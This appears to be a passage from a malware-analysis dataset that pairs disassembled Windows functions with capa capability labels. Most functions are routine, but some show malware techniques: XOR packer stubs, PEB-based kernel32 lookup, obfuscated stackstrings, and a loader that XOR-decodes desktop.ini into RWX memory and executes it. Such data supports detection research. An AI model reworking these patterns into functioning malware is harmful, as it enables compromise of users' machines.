joyce8/EMBER2024-capa huggingface dataset:
Function at 0x56587b
Capabilities:
Enumerate files on windows

Disassembly:
mov edi, edi
push ebp
mov ebp, esp
sub esp, 0x264
mov eax, dword [0x5ce180]
xor eax, ebp
mov dword [ebp - 4], eax
mov edx, dword [ebp + 0xc]
mov ecx, dword [ebp + 0x10]
push ebx
push esi
push edi
mov edi, dword [ebp + 8]
mov dword [ebp - 0x25c], ecx
cmp edx, edi
je 0x5658c6
movzx eax, word [edx]
lea ecx, [ebp - 0x255]
push eax
call fcn.00565a1a
test al, al
jne 0x5658c0
sub edx, 2
cmp edx, edi
jne 0x5658a6
mov ecx, dword [ebp - 0x25c]
movzx esi, word [edx]
cmp esi, 0x3a
jne 0x5658e8
lea eax, [edi + 2]
cmp edx, eax
je 0x5658e8
push ecx
xor ebx, ebx
push ebx
push ebx
push edi
call fcn.005657c7
add esp, 0x10
jmp 0x5659e2
push esi
lea ecx, [ebp - 0x255]
call fcn.00565a1a
sub edx, edi
movzx eax, al
sar edx, 1
inc edx
neg eax
sbb eax, eax
xor ebx, ebx
push ebx
push ebx
and eax, edx
push ebx
mov dword [ebp - 0x260], eax
lea eax, [ebp - 0x254]
push eax
push ebx
push edi
call dword [sym.imp.KERNEL32.dll_FindFirstFileExW]
mov esi, eax
cmp esi, 0xffffffff
jne 0x56592b
push dword [ebp - 0x25c]
jmp 0x5658d8
mov ebx, dword [ebp - 0x25c]
push 0x2e
mov eax, dword [ebx + 4]
sub eax, dword [ebx]
sar eax, 2
mov dword [ebp - 0x25c], eax
pop eax
cmp word [ebp - 0x228], ax
jne 0x565968
cmp word [ebp - 0x226], 0
je 0x565989
cmp word [ebp - 0x226], ax
jne 0x565968
cmp word [ebp - 0x224], 0
je 0x565989
push ebx
push dword [ebp - 0x260]
lea eax, [ebp - 0x228]
push edi
push eax
call fcn.005657c7
add esp, 0x10
mov dword [ebp - 0x264], eax
test eax, eax
jne 0x5659d5
lea eax, [ebp - 0x254]
push eax
push esi
call dword [sym.imp.KERNEL32.dll_FindNextFileW]
push 0x2e
test eax, eax
pop eax
jne 0x565942
mov eax, dword [ebx + 4]
mov edx, dword [ebx]
sub eax, edx
mov ecx, dword [ebp - 0x25c]
sar eax, 2
cmp ecx, eax
jne 0x5659bd
push esi
call dword [sym.imp.KERNEL32.dll_FindClose]
xor eax, eax
jmp 0x5659e2
push 0x5655f7
sub eax, ecx
push 4
push eax
lea eax, [edx + ecx*4]
push eax
call fcn.00569c80
add esp, 0x10
jmp 0x5659b2
push esi
call dword [sym.imp.KERNEL32.dll_FindClose]
mov eax, dword [ebp - 0x264]
mov ecx, dword [ebp - 4]
pop edi
pop esi
xor ecx, ebp
pop ebx
call fcn.0054c4e2
leave
ret

Function at 0x5662ed
Capabilities:
Query environment variable

Disassembly:
mov edi, edi
push esi
call dword [sym.imp.KERNEL32.dll_GetEnvironmentStringsW]
mov esi, eax
test esi, esi
jne 0x5662fe
pop esi
ret
push ebx
push edi
push esi
call fcn.005662b6
mov ebx, eax
sub ebx, esi
and ebx, 0xfffffffe
push ebx
call fcn.005601b8
mov edi, eax
pop ecx
pop ecx
test edi, edi
je 0x566326
push ebx
push esi
push edi
call fcn.0054e620
add esp, 0xc
push 0
call fcn.0056017e
pop ecx
push esi
call dword [sym.imp.KERNEL32.dll_FreeEnvironmentStringsW]
mov eax, edi
pop edi
pop ebx
pop esi
ret

Function at 0x56ace0
Capabilities:
Parse pe header

Disassembly:
push ebp
mov ebp, esp
mov eax, dword [ebp + 8]
mov ecx, 0x5a4d
cmp word [eax], cx
jne 0x56ad0d
mov ecx, dword [eax + 0x3c]
add ecx, eax
cmp dword [ecx], 0x4550
jne 0x56ad0d
mov edx, 0x10b
xor eax, eax
cmp word [ecx + 0x18], dx
sete al
pop ebp
ret
xor eax, eax
pop ebp
ret
Function at 0x1003b100
Capabilities:
Enumerate pe sections

Disassembly:
mov edi, edi
push ebp
mov ebp, esp
mov eax, dword [ebp + 8]
xor edx, edx
push ebx
push esi
push edi
mov ecx, dword [eax + 0x3c]
add ecx, eax
movzx eax, word [ecx + 0x14]
movzx ebx, word [ecx + 6]
add eax, 0x18
add eax, ecx
test ebx, ebx
je 0x1003b13e
mov edi, dword [ebp + 0xc]
mov esi, dword [eax + 0xc]
cmp edi, esi
jb 0x1003b136
mov ecx, dword [eax + 8]
add ecx, esi
cmp edi, ecx
jb 0x1003b140
inc edx
add eax, 0x28
cmp edx, ebx
jb 0x1003b126
xor eax, eax
pop edi
pop esi
pop ebx
pop ebp
ret

Function at 0x1003b210
Capabilities:
Parse pe header

Disassembly:
mov edi, edi
push ebp
mov ebp, esp
mov eax, dword [ebp + 8]
mov ecx, 0x5a4d
cmp word [eax], cx
je 0x1003b226
xor eax, eax
pop ebp
ret
mov ecx, dword [eax + 0x3c]
add ecx, eax
xor eax, eax
cmp dword [ecx], 0x4550
jne 0x1003b241
mov edx, 0x10b
cmp word [ecx + 0x18], dx
sete al
pop ebp
ret

Function at 0x42e000
Capabilities:
Encode data using xor
Packed with generic packer

Disassembly:
pushal
nop
nop
nop
nop
nop
call 0x42e00c
nop
nop
nop
pop eax
nop
nop
add eax, 0x403ac5
nop
nop
sub eax, 0x403a6b
nop
nop
mov ebx, dword [eax]
nop
nop
mov ecx, dword [eax + 4]
nop
nop
nop
nop
nop
nop
mov edx, dword [eax + 8]
nop
nop
nop
nop
xor dword [ebx], edx
nop
add ebx, 4
nop
nop
nop
nop
cmp ebx, ecx
nop
nop
jl 0x42e030
nop
nop
nop
nop
nop
add eax, 0xc
nop
nop
nop
cmp dword [eax], 0
nop
nop
nop
nop
nop
nop
jne 0x42e01e
nop
nop
nop
nop
nop
popal
jmp int.00401219
Function at 0x4011d0
Capabilities:
Resolve function by parsing pe exports

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x5c
nop
mov eax, dword [ebp + 0xc]
mov eax, dword [ebp + 8]
mov eax, esp
mov dword [ebp - 0x10], eax
mov dword [ebp - 4], 0xffffffff
lea eax, [ebp - 0xc]
mov dword [ebp - 8], 0x404010
mov ecx, dword fs:[0]
mov dword [ebp - 0xc], ecx
mov dword fs:[0], eax
mov eax, dword [ebp + 8]
mov dword [ebp - 0x14], eax
mov eax, dword [ebp + 8]
mov ecx, dword [ebp - 0x14]
add eax, dword [ecx + 0x3c]
mov dword [ebp - 0x18], eax
mov eax, dword [ebp - 0x18]
mov eax, dword [eax + 0x78]
add eax, dword [ebp + 8]
mov dword [ebp - 0x1c], eax
mov eax, dword [ebp + 8]
mov ecx, dword [ebp - 0x1c]
add eax, dword [ecx + 0x20]
mov dword [ebp - 0x20], eax
mov eax, dword [ebp - 0x1c]
mov eax, dword [eax + 0x18]
mov dword [ebp - 0x24], eax
mov dword [ebp - 0x28], 0
mov dword [ebp - 0x2c], 0
mov word [ebp - 0x2e], 0
mov dword [ebp - 0x34], 0
nop
mov eax, dword [ebp - 0x34]
cmp eax, dword [ebp - 0x24]
jae 0x40131c
nop
mov eax, dword [ebp - 0x20]
mov eax, dword [eax]
mov dword [ebp - 0x38], eax
mov ecx, dword [ebp + 8]
mov eax, dword [ebp - 0x38]
add ecx, eax
mov eax, esp
mov dword [eax], ecx
lea ecx, [ebp - 0x50]
call fcn.00401360
sub esp, 4
jmp 0x401283
lea eax, [ebp - 0x50]
mov dword [esp], eax
mov dword [esp + 4], 0x235
call section..text
cmp eax, dword [ebp + 0xc]
jne 0x4012da
nop
mov eax, dword [ebp + 8]
mov ecx, dword [ebp - 0x1c]
add eax, dword [ecx + 0x24]
mov ecx, dword [ebp - 0x34]
shl ecx, 1
add eax, ecx
mov ax, word [eax]
mov word [ebp - 0x2e], ax
mov eax, dword [ebp + 8]
mov ecx, dword [ebp - 0x1c]
add eax, dword [ecx + 0x1c]
movzx ecx, word [ebp - 0x2e]
shl ecx, 2
add eax, ecx
mov eax, dword [eax]
mov dword [ebp - 0x2c], eax
mov dword [ebp - 0x54], 2
jmp 0x4012eb
nop
mov eax, dword [ebp - 0x20]
add eax, 4
mov dword [ebp - 0x20], eax
mov dword [ebp - 0x54], 0
jmp 0x4012f0
lea ecx, [ebp - 0x50]
call fcn.00401430
mov eax, dword [ebp - 0x54]
test eax, eax
je 0x40130d
jmp 0x401308
jmp 0x40131c
nop
mov eax, dword [ebp - 0x34]
add eax, 1
mov dword [ebp - 0x34], eax
jmp 0x401251
nop
mov eax, dword [ebp + 8]
mov ecx, dword [ebp - 0x2c]
add eax, ecx
mov ecx, dword [ebp - 0xc]
mov dword fs:[0], ecx
add esp, 0x5c
pop ebp
ret

Function at 0x4019e0
Capabilities:
Access peb ldr_data
Get kernel32 base address

Disassembly:
push ebp
mov ebp, esp
push edi
push esi
mov edi, dword fs:[0x30]
mov edi, dword [edi + 0xc]
mov esi, dword [edi + 0xc]
mov eax, dword [esi]
mov eax, dword [eax]
mov eax, dword [eax + 0x18]
mov dword [0x422058], eax
pop esi
pop edi
pop ebp
ret

Function at 0x401a10
Capabilities:
Terminate process

Disassembly:
push ebp
mov ebp, esp
push esi
sub esp, 8
mov eax, dword [ebp + 8]
mov eax, dword [0x421600]
xor eax, ebp
mov dword [ebp - 8], eax
mov esi, dword [ebp + 8]
push esi
mov edx, 0x42101c
mov ecx, 0x27
xor ecx, 0x1af
add edx, ecx
call edx
xor eax, eax
mov dword [esp], 0
call dword [sym.imp.KERNEL32.dll_ExitProcess]
Function at 0x4036c0
Capabilities:
Create thread

Disassembly:
push ebp
mov ebp, esp
push ebx
push edi
push esi
sub esp, 0x40
nop
mov eax, dword [ebp + 0xc]
mov eax, dword [ebp + 8]
mov eax, esp
mov dword [ebp - 0x1c], eax
mov dword [ebp - 0x10], 0xffffffff
lea eax, [ebp - 0x18]
mov dword [ebp - 0x14], 0x4042b0
mov edx, dword fs:[0]
mov dword [ebp - 0x18], edx
mov dword fs:[0], eax
mov dword [ebp - 0x20], ecx
mov eax, dword [ebp - 0x20]
mov dword [ebp - 0x2c], eax
mov edx, dword [ebp + 0xc]
mov ecx, dword [ebp + 8]
mov eax, esp
mov dword [eax + 8], edx
mov dword [eax + 4], ecx
lea ecx, [ebp - 0x24]
mov dword [eax], ecx
call fcn.004037f0
jmp 0x40371c
nop
mov eax, dword [ebp - 0x2c]
mov dword [ebp - 0x28], 0x4038b0
add eax, 4
mov dword [ebp - 0x34], eax
lea ecx, [ebp - 0x24]
call fcn.00403990
mov edx, dword [ebp - 0x34]
mov ecx, eax
mov dword [ebp - 0x10], 0
mov eax, esp
mov dword [eax + 0x14], edx
mov dword [eax + 0xc], ecx
mov dword [eax + 0x10], 0
mov dword [eax + 8], 0x4038b0
mov dword [eax + 4], 0
mov dword [eax], 0
call fcn.00408daf
mov dword [ebp - 0x30], eax
jmp 0x403771
nop
mov eax, dword [ebp - 0x2c]
mov ecx, dword [ebp - 0x30]
mov dword [eax], ecx
cmp dword [eax], 0
je 0x403790
lea ecx, [ebp - 0x24]
call fcn.004039b0
jmp 0x4037ad
nop
mov eax, dword [ebp - 0x2c]
mov dword [eax + 4], 0
mov eax, esp
mov dword [eax], 6
call fcn.0040465b
jmp 0x4037ad
lea ecx, [ebp - 0x24]
call fcn.00403a00
mov eax, dword [ebp - 0x18]
mov dword fs:[0], eax
add esp, 0x40
pop esi
pop edi
pop ebx
pop ebp
ret 8

Function at 0x403d10
Capabilities:
Create thread

Disassembly:
push ebp
mov ebp, esp
push ebx
push edi
push esi
sub esp, 0x40
nop
mov eax, dword [ebp + 8]
mov eax, esp
mov dword [ebp - 0x1c], eax
mov dword [ebp - 0x10], 0xffffffff
lea eax, [ebp - 0x18]
mov dword [ebp - 0x14], 0x404330
mov edx, dword fs:[0]
mov dword [ebp - 0x18], edx
mov dword fs:[0], eax
mov dword [ebp - 0x20], ecx
mov eax, dword [ebp - 0x20]
mov dword [ebp - 0x2c], eax
mov ecx, dword [ebp + 8]
mov eax, esp
mov dword [eax + 4], ecx
lea ecx, [ebp - 0x24]
mov dword [eax], ecx
call fcn.00403e30
jmp 0x403d63
nop
mov eax, dword [ebp - 0x2c]
mov dword [ebp - 0x28], 0x403ef0
add eax, 4
mov dword [ebp - 0x34], eax
lea ecx, [ebp - 0x24]
call fcn.00403990
mov edx, dword [ebp - 0x34]
mov ecx, eax
mov dword [ebp - 0x10], 0
mov eax, esp
mov dword [eax + 0x14], edx
mov dword [eax + 0xc], ecx
mov dword [eax + 0x10], 0
mov dword [eax + 8], 0x403ef0
mov dword [eax + 4], 0
mov dword [eax], 0
call fcn.00408daf
mov dword [ebp - 0x30], eax
jmp 0x403db8
nop
mov eax, dword [ebp - 0x2c]
mov ecx, dword [ebp - 0x30]
mov dword [eax], ecx
cmp dword [eax], 0
je 0x403dd7
lea ecx, [ebp - 0x24]
call fcn.004039b0
jmp 0x403df4
nop
mov eax, dword [ebp - 0x2c]
mov dword [eax + 4], 0
mov eax, esp
mov dword [eax], 6
call fcn.0040465b
jmp 0x403df4
lea ecx, [ebp - 0x24]
call fcn.00403a00
mov eax, dword [ebp - 0x18]
mov dword fs:[0], eax
add esp, 0x40
pop esi
pop edi
pop ebx
pop ebp
ret 4
Function at 0x405654
Capabilities:
Enumerate pe sections

Disassembly:
push ebp
mov ebp, esp
mov eax, dword [ebp + 8]
push esi
mov ecx, dword [eax + 0x3c]
add ecx, eax
movzx eax, word [ecx + 0x14]
lea edx, [ecx + 0x18]
add edx, eax
movzx eax, word [ecx + 6]
imul esi, eax, 0x28
add esi, edx
jmp 0x405689
mov ecx, dword [edx + 0xc]
cmp dword [ebp + 0xc], ecx
jb 0x405686
mov eax, dword [edx + 8]
add eax, ecx
cmp dword [ebp + 0xc], eax
jb 0x405692
add edx, 0x28
cmp edx, esi
jne 0x405674
xor eax, eax
pop esi
pop ebp
ret
mov eax, edx
jmp 0x40568f

Function at 0x4057ae
Capabilities:
Parse pe header

Disassembly:
push 0
call dword [sym.imp.KERNEL32.dll_GetModuleHandleW]
test eax, eax
je 0x4057ed
mov ecx, 0x5a4d
cmp word [eax], cx
jne 0x4057ed
mov ecx, dword [eax + 0x3c]
add ecx, eax
cmp dword [ecx], 0x4550
jne 0x4057ed
mov eax, 0x10b
cmp word [ecx + 0x18], ax
jne 0x4057ed
cmp dword [ecx + 0x74], 0xe
jbe 0x4057ed
cmp dword [ecx + 0xe8], 0
setne al
ret
xor al, al
ret

Function at 0x40b390
Capabilities:
Parse pe header

Disassembly:
push ebp
mov ebp, esp
mov eax, dword [ebp + 8]
mov ecx, 0x5a4d
cmp word [eax], cx
jne 0x40b3bd
mov ecx, dword [eax + 0x3c]
add ecx, eax
cmp dword [ecx], 0x4550
jne 0x40b3bd
mov edx, 0x10b
xor eax, eax
cmp word [ecx + 0x18], dx
sete al
pop ebp
ret
xor eax, eax
pop ebp
ret

Function at 0x40b70d
Capabilities:
Allocate thread local storage

Disassembly:
mov edi, edi
push ebp
mov ebp, esp
push esi
push 0x418f24
push 0x418f1c
push str.FlsAlloc
push 0x1f
call fcn.0040ba99
mov esi, eax
add esp, 0x10
test esi, esi
je 0x40b741
push dword [ebp + 8]
mov ecx, esi
call dword [0x41ea40]
call esi
jmp 0x40b747
call dword [sym.imp.KERNEL32.dll_TlsAlloc]
pop esi
pop ebp
ret 4

Function at 0x40b78b
Capabilities:
Get thread local storage value

Disassembly:
mov edi, edi
push ebp
mov ebp, esp
push esi
push 0x418f34
push 0x418f2c
push str.FlsGetValue
push 0x21
call fcn.0040ba99
mov esi, eax
add esp, 0x10
test esi, esi
je 0x40b7c2
push dword [ebp + 8]
mov ecx, esi
call dword [0x41ea40]
call esi
pop esi
pop ebp
ret 4
pop esi
pop ebp
jmp dword [sym.imp.KERNEL32.dll_TlsGetValue]

Function at 0x40b7ca
Capabilities:
Set thread local storage value

Disassembly:
mov edi, edi
push ebp
mov ebp, esp
push esi
push 0x418f3c
push 0x418f34
push str.FlsSetValue
push 0x22
call fcn.0040ba99
mov esi, eax
add esp, 0x10
test esi, esi
je 0x40b804
push dword [ebp + 0xc]
mov ecx, esi
push dword [ebp + 8]
call dword [0x41ea40]
call esi
pop esi
pop ebp
ret 8
pop esi
pop ebp
jmp dword [sym.imp.KERNEL32.dll_TlsSetValue]
Function at 0x410262
Capabilities:
Query environment variable

Disassembly:
mov edi, edi
push ebp
mov ebp, esp
push ecx
push ecx
push esi
call dword [sym.imp.KERNEL32.dll_GetEnvironmentStringsW]
mov esi, eax
test esi, esi
je 0x4102ff
push ebx
push esi
call fcn.00410302
xor ebx, ebx
sub eax, esi
push ebx
push ebx
push ebx
push ebx
sar eax, 1
push eax
push esi
push ebx
push ebx
mov dword [ebp - 8], eax
call fcn.00410166
add esp, 0x24
mov dword [ebp - 4], eax
test eax, eax
jne 0x4102ac
push esi
call dword [sym.imp.KERNEL32.dll_FreeEnvironmentStringsW]
xor eax, eax
jmp 0x4102fe
push edi
push eax
call fcn.0040d6e6
mov edi, eax
pop ecx
push ebx
test edi, edi
jne 0x4102cc
call fcn.0040cd3b
pop ecx
push esi
call dword [sym.imp.KERNEL32.dll_FreeEnvironmentStringsW]
xor eax, eax
jmp 0x4102fd
push ebx
push dword [ebp - 4]
push edi
push dword [ebp - 8]
push esi
push ebx
push ebx
call fcn.00410166
add esp, 0x20
test eax, eax
jne 0x4102eb
push edi
call fcn.0040cd3b
jmp 0x4102f3
push ebx
call fcn.0040cd3b
mov ebx, edi
pop ecx
push esi
call dword [sym.imp.KERNEL32.dll_FreeEnvironmentStringsW]
mov eax, ebx
pop edi
pop ebx
pop esi
leave
ret
Function at 0x4252d5
Capabilities:
Link many functions at runtime

Disassembly:
mov edi, edi
push ebp
mov ebp, esp
sub esp, 0x14
push ebx
push esi
push edi
call fcn.0041e31f
and dword [ebp - 4], 0
cmp dword [0x44f1f0], 0
mov ebx, eax
jne 0x425386
push str.USER32.DLL
call dword [sym.imp.KERNEL32.dll_LoadLibraryA]
mov edi, eax
test edi, edi
je 0x425437
mov esi, dword [sym.imp.KERNEL32.dll_GetProcAddress]
push str.MessageBoxA
push edi
call esi
test eax, eax
je 0x425437
push eax
call fcn.0041e2ad
mov dword [esp], str.GetActiveWindow
push edi
mov dword [0x44f1f0], eax
call esi
push eax
call fcn.0041e2ad
mov dword [esp], str.GetLastActivePopup
push edi
mov dword [0x44f1f4], eax
call esi
push eax
call fcn.0041e2ad
mov dword [esp], str.GetUserObjectInformationA
push edi
mov dword [0x44f1f8], eax
call esi
push eax
call fcn.0041e2ad
pop ecx
mov dword [0x44f200], eax
test eax, eax
je 0x425386
push str.GetProcessWindowStation
push edi
call esi
push eax
call fcn.0041e2ad
pop ecx
mov dword [0x44f1fc], eax
mov eax, dword [0x44f1fc]
cmp eax, ebx
je 0x4253de
cmp dword [0x44f200], ebx
je 0x4253de
push eax
call fcn.0041e328
push dword [0x44f200]
mov esi, eax
call fcn.0041e328
pop ecx
pop ecx
mov edi, eax
test esi, esi
je 0x4253de
test edi, edi
je 0x4253de
call esi
test eax, eax
je 0x4253d5
lea ecx, [ebp - 8]
push ecx
push 0xc
lea ecx, [ebp - 0x14]
push ecx
push 1
push eax
call edi
test eax, eax
je 0x4253d5
test byte [ebp - 0xc], 1
jne 0x4253de
or dword [ebp + 0x10], 0x200000
jmp 0x425417
mov eax, dword [0x44f1f4]
cmp eax, ebx
je 0x425417
push eax
call fcn.0041e328
pop ecx
test eax, eax
je 0x425417
call eax
mov dword [ebp - 4], eax
test eax, eax
je 0x425417
mov eax, dword [0x44f1f8]
cmp eax, ebx
je 0x425417
push eax
call fcn.0041e328
pop ecx
test eax, eax
je 0x425417
push dword [ebp - 4]
call eax
mov dword [ebp - 4], eax
push dword [0x44f1f0]
call fcn.0041e328
pop ecx
test eax, eax
je 0x425437
push dword [ebp + 0x10]
push dword [ebp + 0xc]
push dword [ebp + 8]
push dword [ebp - 4]
call eax
jmp 0x425439
xor eax, eax
pop edi
pop esi
pop ebx
leave
ret

Function at 0x1000114e
Capabilities:
Allocate or change rwx memory
Encode data using xor
Execute shellcode via indirect call
Read file on windows

Disassembly:
push esi
push edi
push str.ShellExecuteW
push str.shell32.dll
call dword [sym.imp.KERNEL32.dll_LoadLibraryW]
push eax
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
push 1
xor edi, edi
push edi
push edi
push 0x10002054
push str.open
push edi
call eax
push 0x40
mov esi, 0x1000
push esi
push esi
push edi
call dword [sym.imp.KERNEL32.dll_VirtualAlloc]
push edi
push 0x80
push 3
push edi
push 1
push 0x80000000
push str.desktop.ini
mov dword [0x10003228], eax
call dword [sym.imp.KERNEL32.dll_CreateFileW]
mov dword [0x1000322c], eax
cmp eax, 0xffffffff
je 0x100011f3
push edi
push 0x10003230
push esi
push dword [0x10003228]
push eax
call dword [sym.imp.KERNEL32.dll_ReadFile]
mov eax, dword [0x10003228]
movzx ecx, byte [eax]
xor ecx, 0x4e
xor esi, esi
cmp dword [0x10003230], edi
jbe 0x100011f1
mov dl, byte [eax + esi]
xor dl, cl
add dl, 0x42
mov byte [eax + esi], dl
inc esi
cmp esi, dword [0x10003230]
jb 0x100011dd
call eax
pop edi
pop esi
ret 0x10
Function at 0x102d9058
Capabilities:
Decompress data using aplib

Disassembly:
call 0x102d91a8
push ebx
mov ebx, esp
push ebx
mov esi, dword [ebx + 8]
mov edi, dword [ebx + 0x10]
cld
mov dl, 0x80
mov al, byte [esi]
inc esi
mov byte [edi], al
inc edi
mov ebx, 2
add dl, dl
jne 0x102d907e
mov dl, byte [esi]
inc esi
adc dl, dl
jae 0x102d906a
add dl, dl
jne 0x102d9089
mov dl, byte [esi]
inc esi
adc dl, dl
jae 0x102d90dc
xor eax, eax
add dl, dl
jne 0x102d9096
mov dl, byte [esi]
inc esi
adc dl, dl
jae 0x102d917d
add dl, dl
jne 0x102d90a5
mov dl, byte [esi]
inc esi
adc dl, dl
adc eax, eax
add dl, dl
jne 0x102d90b0
mov dl, byte [esi]
inc esi
adc dl, dl
adc eax, eax
add dl, dl
jne 0x102d90bb
mov dl, byte [esi]
inc esi
adc dl, dl
adc eax, eax
add dl, dl
jne 0x102d90c6
mov dl, byte [esi]
inc esi
adc dl, dl
adc eax, eax
je 0x102d90d2
push edi
mov eax, eax
sub edi, eax
mov al, byte [edi]
pop edi
mov byte [edi], al
inc edi
mov ebx, 2
jmp 0x102d9075
mov eax, 1
add dl, dl
jne 0x102d90ea
mov dl, byte [esi]
inc esi
adc dl, dl
adc eax, eax
add dl, dl
jne 0x102d90f5
mov dl, byte [esi]
inc esi
adc dl, dl
jb 0x102d90e1
sub eax, ebx
mov ebx, 1
jne 0x102d9128
mov ecx, 1
add dl, dl
jne 0x102d910e
mov dl, byte [esi]
inc esi
adc dl, dl
adc ecx, ecx
add dl, dl
jne 0x102d9119
mov dl, byte [esi]
inc esi
adc dl, dl
jb 0x102d9105
push esi
mov esi, edi
sub esi, ebp
rep movsb byte es:[edi], byte [esi]
pop esi
jmp 0x102d9075
dec eax
shl eax, 8
mov al, byte [esi]
inc esi
mov ebp, eax
mov ecx, 1
add dl, dl
jne 0x102d913f
mov dl, byte [esi]
inc esi
adc dl, dl
adc ecx, ecx
add dl, dl
jne 0x102d914a
mov dl, byte [esi]
inc esi
adc dl, dl
jb 0x102d9136
cmp eax, 0x7d00
jae 0x102d916d
cmp eax, 0x500
jb 0x102d9168
inc ecx
push esi
mov esi, edi
sub esi, eax
rep movsb byte es:[edi], byte [esi]
pop esi
jmp 0x102d9075
cmp eax, 0x7f
ja 0x102d9170
add ecx, 2
push esi
mov esi, edi
sub esi, eax
rep movsb byte es:[edi], byte [esi]
pop esi
jmp 0x102d9075
mov al, byte [esi]
inc esi
xor ecx, ecx
shr al, 1
je 0x102d919e
adc ecx, 2
mov ebp, eax
push esi
mov esi, edi
sub esi, eax
rep movsb byte es:[edi], byte [esi]
pop esi
mov ebx, 1
jmp 0x102d9075
pop ebx
sub edi, dword [ebx + 0x10]
mov eax, edi
pop ebx
ret 0x10
Function at 0x433000
Capabilities:
Encode data using xor
Packed with generic packer

Disassembly:
pushal
nop
nop
nop
nop
nop
mov eax, section..text
nop
nop
nop
push 4
nop
nop
nop
nop
nop
pop edi
nop
nop
nop
nop
cmp eax, 0
nop
nop
nop
nop
nop
je 0x433072
nop
mov ebx, 0x40de38
mov ecx, ebx
nop
nop
nop
nop
nop
sub ecx, eax
nop
nop
nop
nop
xor edx, edx
nop
nop
nop
nop
nop
nop
nop
nop
push eax
nop
nop
nop
mov eax, ecx
nop
div edi
nop
nop
nop
nop
nop
nop
xchg ecx, eax
nop
nop
nop
nop
nop
nop
nop
nop
pop eax
nop
mov esi, 0x18e45f67
nop
xor dword [eax], esi
nop
nop
nop
nop
nop
nop
nop
add eax, edi
loop 0x433060
nop
nop
nop
nop
mov eax, section..data
nop
cmp eax, 0
nop
nop
nop
je 0x4330d2
nop
nop
nop
nop
mov ebx, 0x4304d8
nop
mov ecx, ebx
nop
nop
nop
nop
sub ecx, eax
nop
nop
nop
nop
xor edx, edx
nop
nop
nop
nop
nop
nop
nop
push eax
nop
nop
nop
nop
nop
mov eax, ecx
nop
nop
nop
nop
nop
div edi
nop
nop
nop
nop
nop
xchg ecx, eax
nop
pop eax
nop
nop
nop
nop
nop
mov esi, 0x2551501d
nop
xor dword [eax], esi
nop
nop
nop
nop
add eax, edi
nop
nop
nop
nop
nop
nop
loop 0x4330c0
nop
nop
nop
popal
nop
nop
nop
jmp 0x431219
Function at 0x48798e
Capabilities:
Extract resource via kernel32 functions

Disassembly:
mov edi, edi
push ebp
mov ebp, esp
push ecx
push esi
mov esi, dword [ebp + 0xc]
push edi
mov dword [ebp - 4], ecx
test esi, esi
jne 0x4879a8
call fcn.0040e4e3
mov esi, dword [eax + 0xc]
push dword [0x63fd1c]
push dword [ebp + 8]
push esi
call dword [sym.imp.KERNEL32.dll_FindResourceA]
mov edi, eax
test edi, edi
jne 0x4879c6
xor eax, eax
pop edi
pop esi
leave
ret 8
push edi
push esi
call dword [sym.imp.KERNEL32.dll_LoadResource]
mov dword [ebp + 0xc], eax
test eax, eax
je 0x4879be
push ebx
push eax
call dword [sym.imp.KERNEL32.dll_LockResource]
mov ebx, eax
test ebx, ebx
jne 0x4879f3
xor esi, esi
push dword [ebp + 0xc]
call dword [sym.imp.KERNEL32.dll_FreeResource]
mov eax, esi
pop ebx
jmp 0x4879c0
push edi
push esi
call dword [sym.imp.KERNEL32.dll_SizeofResource]
mov ecx, dword [ebp - 4]
push eax
push ebx
call fcn.004878bc
mov esi, eax
jmp 0x4879e5

Function at 0x4d8e81
Capabilities:
Resolve function by parsing pe exports

Disassembly:
mov edi, edi
push esi
mov esi, ecx
call fcn.00416dcb
call fcn.0040e601
cmp eax, esi
pop esi
jne 0x4d8e9d
mov ecx, 0x63de88
jmp fcn.0041df32
ret

Function at 0x4db7c4
Capabilities:
Contain obfuscated stackstrings

Disassembly:
test al, 0x50
call fcn.004db52a
mov esi, dword [ebp + 0xc]
push eax
push esi
push dword [ebp + 8]
call fcn.004db4df
add esp, 0x10
lea ecx, [ebp - 0xb0]
push ecx
call eax
mov eax, dword [ebp - 8]
mov ecx, dword [ebp - 0xac]
xor edx, edx
div ecx
xor edx, edx
mov dword [ebp - 0x8c], eax
mov eax, dword [ebp - 8]
div ecx
test edx, edx
je 0x4db808
inc dword [ebp - 0x8c]
imul ecx, dword [ebp - 0x8c]
mov dword [ebp + 0xc], ecx
mov byte [ebp - 0x40], bl
mov byte [ebp - 0x3f], bl
mov byte [ebp - 0x3e], 0xec
mov byte [ebp - 0x3d], bl
mov byte [ebp - 0x3c], 0x45
mov byte [ebp - 0x3b], 0x7a
mov byte [ebp - 0x3a], 0x61
mov byte [ebp - 0x39], 0x67
mov byte [ebp - 0x38], 0x66
mov byte [ebp - 0x37], 0x72
mov byte [ebp - 0x36], 0x7f
mov byte [ebp - 0x35], 0x52
mov byte [ebp - 0x34], 0x7f
mov byte [ebp - 0x33], 0x7f
mov byte [ebp - 0x32], 0x7c
mov byte [ebp - 0x31], 0x70
mov byte [ebp - 0x30], 0x13
call fcn.004db51a
leave
int1
in al, 0x13
lea eax, [ebp - 0x40]
push eax
call fcn.004db52a
push eax
push esi
push dword [ebp + 8]
call fcn.004db4df
add esp, 0x10
mov dword [ebp - 0x88], eax
invalid
invalid
call fcn.004db51a
inc di
int1
invalid
invalid

Function at 0x4db882
Capabilities:
Contain obfuscated stackstrings

Disassembly:
inc ebp
call 0x51361610
mov byte [ebp - 0x17], bl